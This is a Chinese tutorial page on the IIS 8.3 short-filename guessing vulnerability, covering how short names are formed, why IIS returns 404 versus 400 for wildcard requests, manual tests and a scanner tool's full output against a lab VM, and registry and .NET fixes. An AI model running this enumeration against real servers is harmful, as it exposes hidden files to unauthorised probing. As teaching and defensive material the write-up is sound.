IIS – 短文件名猜解漏洞

程序猿 • 2025年12月1日 18:37:57 • 系统教程 • 阅读 0

漏洞知识库

网络安全/渗透测试/代码审计/

关注

IIS – 短文件名猜解漏洞

短文件名介绍

为了兼容

位

MS-DOS

程序，Windows为文件名较长的文件（和文件夹）生成了对应的

Windows 8.3

短文件名。

短文件名的查看

首先在C盘下多创建几个文件：（有不同的后缀名，都是比较长的文件名）

代码语言：javascript代码运行次数：0运行复制

aaaaaaaaaaaa.txtbbbbbbbbbbbb.aspabcdefghijk.txtabcdefghig.php

打开
命令提示符
，来到
C盘
下，查看短文件名的命名方式：
dir /x


代码语言：javascript代码运行次数：0运行复制
C:>dir /x 驱动器 C 中的卷没有标签。 卷的序列号是 509E-D608 C: 的目录2019-08-02  12:37                 0 AAAAAA~1.TXT aaaaaaaaaaaaa.txt2019-08-02  12:47                 0              abc.txt2019-08-02  12:39                 0 ABCDEF~1.PHP abcdefghig.php2019-08-02  12:39                 0 ABCDEF~1.TXT abcdefghijk.txt2019-07-23  11:47                 0              AUTOEXEC.BAT2019-08-02  12:37                 0 BBBBBB~1.ASP bbbbbbbbbbbbbb.aspx2019-07-23  11:47                 0              CONFIG.SYS2019-07-23  11:49              DOCUME~1     Documents and Settings2019-07-23  11:59              FPSE_S~1     FPSE_search2019-07-23  11:59                           Inetpub2019-07-23  11:51              PROGRA~1     Program Files2019-07-23  13:17                           WINDOWS2019-07-23  11:47                           wmpub               7 个文件              0 字节               6 个目录 28,107,870,208 可用字节C:>
可以看到我们第一个文件：
aaaaaaaaaaaaa.txt
这个文件，他显示的短文件名形式是大写的
AAAAAA~1.TXT

abcdefghig.php
这个文件，他显示的短文件名形式也是大写的
ABCDEF~1.PHP

后面的也一样，只保留前
六位数
的
文件名
 + 
～
 + 
1.后缀名

这时候，我们再创建一个文件:
abc.txt
,然后在用
dir /x
查看一下：

可以看到，前面并没有短文件名，因为它本身长度就不是特别的长！
从以上实验得出短文件名的特征：
短文件名特征
1、只有
前六位
字符直接显示，后续字符用
~1
指代。其中数字
1
还可以递增，如果存在多个文件名类似的文件（名称前6位必须相同，且后缀名前3位必须相同）
2、后缀名最长只有
3
位，多余的被截断，超过3位的长文件会生成短文件名
3、所有
小写字母
都会转换成
大写字母

4、长文件名中含有多个
.
,以文件名最后一个
.
作为短文件名后缀
5、长文件名前缀/文件夹名字符长度符合
0-9
和
Aa-Zz
范围且需要
大于等于9位
才会生成短文件名，如果包含空格或者其他部分特殊字符，不论长度均会生成短文件。
                                    漏洞成因
攻击者使用通配符
*
和
?
发生一个请求到
IIS
，当IIS接收到一个文件路径中包含
~
请求时，它的反应是不同的，即返回的
HTTP状态码
和错误信息不同。基于这个特点，可以根据HTTP的响应区分一个可用或者不可用的文件。访问构造的某个
存在
的短文件名，会返回
404
；访问构造的某个
不存在
的短文件名，会返回
400
（报错页面）
IIS短文件猜解漏洞复现（手工测试）
因为我开着
IIS
的虚拟机的IP是
192.168.119.133
,所以我直接访问这个URL：

/a*~1*/
的意思就是，用
首字母a
这个字符去匹配,也就是首字母
a
是否
存在
这个短文件名。
~1
这个和上面的短文件名特征是一样的，代表了它是一个短文件名。
如果说这个页面返回的状态码是
404
的话，那么这个短文件名是
存在
的！如果返回的是
400
,泽说明这个短文件名是
不存在
的!
从上图可以得出，返回的页面状态码是
404
,说明网站更目录下有一个文件是以
a
开头的短文件名。

aspnet_client
这个文件夹是
IIS
自带的文件夹目录，所以会显示存在！
这个时候我们测试一个不存在的文件或者文件名:
访问URL：

返回的状态码是
400
,说明
不存在
以
c
开头的短文件名。
IIS短文件名猜解漏洞复现（工具测试）
用到的工具来自
Github
上的IIS短文件名猜解工具：IIS_shortname_Scanner
代码语言：javascript代码运行次数：0运行复制
用法是:iis_shortname_Scan.py 目标主机python iis_shortname_Scan.py http://192.168.119.133
用之前，我们先把刚刚创建的那些文件复制到我们的网站更目录，然后再使用：

代码语言：javascript代码运行次数：0运行复制
E:HACKIIS短文件名猜解工具IIS_shortname_Scanner>python iis_shortname_Scan.py http://192.168.119.133Server is vulnerable, please wait, scanning...[+] /a~1.*      [scan in progress][+] /b~1.*      [scan in progress][+] /ab~1.*     [scan in progress][+] /aa~1.*     [scan in progress][+] /bb~1.*     [scan in progress][+] /as~1.*     [scan in progress][+] /abc~1.*    [scan in progress][+] /aaa~1.*    [scan in progress][+] /bbb~1.*    [scan in progress][+] /asp~1.*    [scan in progress][+] /abcd~1.*   [scan in progress][+] /aaaa~1.*   [scan in progress][+] /bbbb~1.*   [scan in progress][+] /aspn~1.*   [scan in progress][+] /abcde~1.*  [scan in progress][+] /aaaaa~1.*  [scan in progress][+] /bbbbb~1.*  [scan in progress][+] /aspne~1.*  [scan in progress][+] /abcdef~1.* [scan in progress][+] /aaaaaa~1.* [scan in progress][+] /bbbbbb~1.* [scan in progress][+] /aspnet~1.* [scan in progress][+] /abcdef~1.p*        [scan in progress][+] /abcdef~1.t*        [scan in progress][+] /aaaaaa~1.t*        [scan in progress][+] /bbbbbb~1.a*        [scan in progress][+] /aspnet~1   [scan in progress][+] Directory /aspnet~1 [Done][+] /abcdef~1.ph*       [scan in progress][+] /abcdef~1.tx*       [scan in progress][+] /aaaaaa~1.tx*       [scan in progress][+] /bbbbbb~1.as*       [scan in progress][+] /abcdef~1.php*      [scan in progress][+] File /abcdef~1.php* [Done][+] /abcdef~1.txt*      [scan in progress][+] File /abcdef~1.txt* [Done][+] /aaaaaa~1.txt*      [scan in progress][+] File /aaaaaa~1.txt* [Done][+] /bbbbbb~1.asp*      [scan in progress][+] File /bbbbbb~1.asp* [Done]----------------------------------------------------------------Dir:  /aspnet~1File: /abcdef~1.php*File: /abcdef~1.txt*File: /aaaaaa~1.txt*File: /bbbbbb~1.asp*----------------------------------------------------------------1 Directories, 4 Files found in totalNote that * is a wildcard, matches any character zero or more times.

可以从上图中对照一下看看，成功猜解出我们网站更目录下的短文件名！
漏洞修复
1、升级
.net framework

2、修改注册表键值：
修改
NtfsDisable8dot3NameCreation
为
1
，
1
代表不创建短文件名格式，修改完成后，需要重启系统生效。


以上就是IIS - 短文件名猜解漏洞的详细内容，更多请关注php中文网其它相关文章！
                                                        版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。

如发现本站有涉嫌抄袭侵权/违法违规的内容， 请发送邮件至 chuangxiangniao@163.com 举报，一经查实，本站将立刻删除。

发布者：程序猿，转转请注明出处：https://www.chuangxiangniao.com/p/143330.html

打赏

微信扫一扫

支付宝扫一扫

0 0

关于作者

程序猿签约作者

414.1K 文章

0 评论

2 粉丝

这个人很懒，什么都没有留下～

Win7系统ics启动失败怎么办？

上一篇 2025年12月1日 18:23:43

Win7系统如何禁用自动关闭硬盘

下一篇 2025年12月1日 18:58:35

好文分享

如何解决本地图片在使用 mask JS 库时出现的跨域错误？

如何跨越localhost使用本地图片？问题: 在本地使用mask js库时，引入本地图片会报跨域错误。解决方案: 要解决此问题，需要使用本地服务器启动文件，以http或https协议访问图片，而不是使用file://协议。例如： python -m http.server 8000 然后，可以…

程序猿
2025年12月24日
2000
好文分享

CSS元素设置em和transition后，为何载入页面无放大效果？

css元素设置em和transition后，为何载入无放大效果很多开发者在设置了em和transition后，却发现元素载入页面时无放大效果。本文将解答这一问题。原问题：在视频演示中，将元素设置如下，载入页面会有放大效果。然而，在个人尝试中，并未出现该效果。这是由于macos和windows系统…

程序猿
2025年12月24日
2000
好文分享

如何模拟Windows 10 设置界面中的鼠标悬浮放大效果？

win10设置界面的鼠标移动显示周边的样式（探照灯效果）的实现方式在windows设置界面的鼠标悬浮效果中，光标周围会显示一个放大区域。在前端开发中，可以通过多种方式实现类似的效果。使用css 使用css的transform和box-shadow属性。通过将transform: scale(1.…

程序猿
2025年12月24日
2000
好文分享

如何用HTML/JS实现Windows 10设置界面鼠标移动探照灯效果？

Win10设置界面中的鼠标移动探照灯效果实现指南想要在前端开发中实现类似于Windows 10设置界面的鼠标移动探照灯效果，有两种解决方案：CSS 和 HTML/JS 组合。 CSS 实现不幸的是，仅使用CSS无法完全实现该效果。立即学习“前端免费学习笔记（深入）”； HTML/JS 实现要…

程序猿
2025年12月24日
0000
好文分享

如何用前端实现 Windows 10 设置界面的鼠标移动探照灯效果？

如何在前端实现 Windows 10 设置界面中的鼠标移动探照灯效果想要在前端开发中实现 Windows 10 设置界面中类似的鼠标移动探照灯效果，可以通过以下途径： CSS 解决方案 DEMO 1: Windows 10 网格悬停效果：https://codepen.io/tr4553r7/pe…

程序猿
2025年12月24日
0000
好文分享

如何用前端技术实现Windows 10 设置界面鼠标移动时的探照灯效果？

探索在前端中实现 Windows 10 设置界面鼠标移动时的探照灯效果在前端开发中，鼠标悬停在元素上时需要呈现类似于 Windows 10 设置界面所展示的探照灯效果，这其中涉及到了元素外围显示光圈效果的技术实现。 CSS 实现虽然 CSS 无法直接实现探照灯效果，但可以通过以下技巧营造出类似效…

程序猿
2025年12月24日
0000
好文分享

使用 Mask 导入本地图片时，如何解决跨域问题？

跨域疑难：如何解决 mask 引入本地图片产生的跨域问题？在使用 mask 导入本地图片时，你可能会遇到令人沮丧的跨域错误。为什么会出现跨域问题呢？让我们深入了解一下： mask 框架假设你以 http(s) 协议加载你的 html 文件，而当使用 file:// 协议打开本地文件时，就会产生跨域…

程序猿
2025年12月24日
2000
好文分享

HTML、CSS 和 JavaScript 中的简单侧边栏菜单

构建一个简单的侧边栏菜单是一个很好的主意，它可以为您的网站添加有价值的功能和令人惊叹的外观。侧边栏菜单对于客户找到不同项目的方式很有用，而不会让他们觉得自己有太多选择，从而创造了简单性和秩序。今天，我将分享一个简单的 HTML、CSS 和 JavaScript 源代码来创建一个简单的侧边栏菜单。…

程序猿
2025年12月24日
2000
好文分享

前端代码辅助工具：如何选择最可靠的AI工具？

前端代码辅助工具：可靠性探讨对于前端工程师来说，在HTML、CSS和JavaScript开发中借助AI工具是司空见惯的事情。然而，并非所有工具都能提供同等的可靠性。个性化需求关于哪个AI工具最可靠，这个问题没有一刀切的答案。每个人的使用习惯和项目需求各不相同。以下是一些影响选择的重要因素：立…

程序猿
2025年12月24日
3000
好文分享

带有 HTML、CSS 和 JavaScript 工具提示的响应式侧边导航栏

响应式侧边导航栏不仅有助于改善网站的导航，还可以解决整齐放置链接的问题，从而增强用户体验。通过使用工具提示，可以让用户了解每个链接的功能，包括设计紧凑的情况。在本教程中，我将解释使用 html、css、javascript 创建带有工具提示的响应式侧栏导航的完整代码。对于那些一直想要一个干净、简…

程序猿
2025年12月24日
0000
好文分享

布局 – CSS 挑战

您可以在 github 仓库中找到这篇文章中的所有代码。您可以在这里查看视觉效果：固定导航 – 布局 – codesandbox两列 – 布局 – codesandbox三列 – 布局 – codesandbox圣杯 &#8…

程序猿
2025年12月24日
0000
好文分享

隐藏元素 – CSS 挑战

您可以在 github 仓库中找到这篇文章中的所有代码。您可以在此处查看隐藏元素的视觉效果 – codesandbox 隐藏元素 hiding elements hiding elements hiding elements hiding elements hiding element…

程序猿
2025年12月24日
4000
居中 – CSS 挑战

您可以在 github 仓库中找到这篇文章中的所有代码。您可以在此处查看垂直中心 – codesandbox 和水平中心的视觉效果。通过 css 居中垂直居中 centering centering centering centering centering centering立即…

程序猿
2025年12月24日 • 好文分享
3000
好文分享

如何在 Laravel 框架中轻松集成微信支付和支付宝支付？

如何用 laravel 框架集成微信支付和支付宝支付问题：如何在 laravel 框架中集成微信支付和支付宝支付？回答：建议使用 easywechat 的 laravel 版，easywechat 是一个由腾讯工程师开发的高质量微信开放平台 sdk，已被广泛地应用于许多 laravel 项目中…

程序猿
2025年12月24日
0000
好文分享

如何在移动端实现子 div 在父 div 内任意滑动查看？

如何在移动端中实现让子 div 在父 div 内任意滑动查看在移动端开发中，有时我们需要让子 div 在父 div 内任意滑动查看。然而，使用滚动条无法实现负值移动，因此需要采用其他方法。解决方案：使用绝对布局（absolute）或相对布局（relative）：将子 div 设置为绝对或相对定…

程序猿
2025年12月24日
0000
好文分享

移动端嵌套 DIV 中子 DIV 如何水平滑动？

移动端嵌套 DIV 中子 DIV 滑动在移动端开发中，遇到这样的问题：当子 DIV 的高度小于父 DIV 时，无法在父 DIV 中水平滚动子 DIV。无限画布要实现子 DIV 在父 DIV 中任意滑动，需要创建一个无限画布。使用滚动无法达到负值，因此需要使用其他方法。相对定位一种方法是将子…

程序猿
2025年12月24日
0000
好文分享

移动端项目中，如何消除rem字体大小计算带来的CSS扭曲？

移动端项目中消除rem字体大小计算带来的css扭曲在移动端项目中，使用rem计算根节点字体大小可以实现自适应布局。但是，此方法可能会导致页面打开时出现css扭曲，这是因为页面内容在根节点字体大小赋值后重新渲染造成的。解决方案：要避免这种情况，将计算根节点字体大小的js脚本移动到页面的最前面，即…

程序猿
2025年12月24日
0000
好文分享

Nuxt 移动端项目中 rem 计算导致 CSS 变形，如何解决？

Nuxt 移动端项目中解决 rem 计算导致 CSS 变形在 Nuxt 移动端项目中使用 rem 计算根节点字体大小时，可能会遇到一个问题：页面内容在字体大小发生变化时会重绘，导致 CSS 变形。解决方案：可将计算根节点字体大小的 JS 代码块置于页面最前端的标签内，确保在其他资源加载之前执…

程序猿
2025年12月24日
2000
好文分享

Nuxt 移动端项目使用 rem 计算字体大小导致页面变形，如何解决？

rem 计算导致移动端页面变形的解决方法在 nuxt 移动端项目中使用 rem 计算根节点字体大小时，页面会发生内容重绘，导致页面打开时出现样式变形。如何避免这种现象？解决方案：移动根节点字体大小计算代码到页面顶部，即 head 中。原理： flexível.js 也遇到了类似问题，它的解决…

程序猿
2025年12月24日
0000
好文分享

形状 – CSS 挑战

您可以在 github 仓库中找到这篇文章中的所有代码。您可以在此处查看 codesandbox 的视觉效果。通过css绘制各种形状如何在 css 中绘制正方形、梯形、三角形、异形三角形、扇形、圆形、半圆、固定宽高比、0.5px 线？ shapes 0.5px line .square { w…

程序猿
2025年12月24日
0000

发表回复

登录后才能评论

IIS – 短文件名猜解漏洞

关于作者

相关推荐

发表回复